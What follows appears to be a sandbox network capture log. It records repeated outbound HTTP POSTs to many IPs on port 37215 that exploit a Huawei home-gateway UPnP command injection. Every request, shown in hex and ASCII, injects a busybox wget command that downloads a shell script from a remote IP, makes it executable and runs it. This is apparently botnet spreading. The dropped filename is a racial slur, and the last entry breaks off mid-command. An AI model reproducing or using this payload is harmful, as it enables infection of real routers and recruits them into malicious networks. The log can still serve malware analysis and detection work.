Feb 19, 2024 18:38:02.784516096 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:17.632033110 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
162	192.168.2.15	41982	94.187.29.3	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:48.303693056 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:48.960815907 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:50.240871906 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
163	192.168.2.15	39776	94.123.176.26	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:48.303807020 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
164	192.168.2.15	60042	94.123.117.106	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:48.303908110 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
165	192.168.2.15	41018	94.120.46.88	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:48.304069996 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
166	192.168.2.15	49236	94.123.88.15	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:48.304169893 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod 